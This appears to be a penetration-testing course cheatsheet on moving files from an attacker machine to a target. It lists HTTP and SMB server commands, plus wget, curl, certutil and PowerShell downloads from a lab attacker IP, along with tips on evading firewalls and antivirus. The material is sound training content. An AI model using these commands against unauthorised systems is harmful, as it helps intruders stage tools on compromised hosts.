File Transfers
Fundamentals
Overview
Methods to transfer files between attacker and target systems.
3
Exercises
2
Flashcards
1
Mind Maps
Cheatsheet
Python HTTP Server
python3 -m http.server 8000 # Start simple HTTP server on port 8000
Download (Linux)
wget http://10.10.14.5:8000/file # Download file with wget curl http://10.10.14.5:8000/file -o file # Download file with curl
Download (Windows)
certutil -urlcache -f http://10.10.14.5/file file # Download on Windows using certutil powershell iwr -uri http://10.10.14.5/file -outfile file # Download using PowerShell Invoke-WebRequest
SMB
impacket-smbserver share . -smb2support # Start SMB server sharing current dir copy \\10.10.14.5\share\file . # Copy file from SMB share on Windows
Base64
base64 file | tr -d '\n' # Encode file to base64 string echo 'BASE64' | base64 -d > file # Decode base64 string back to file
Command Examples
Common Pitfalls
- Firewall blocking common ports
- AV catching transfers
Exam Survival Tips
- Have multiple methods ready
- SMB often works when HTTP fails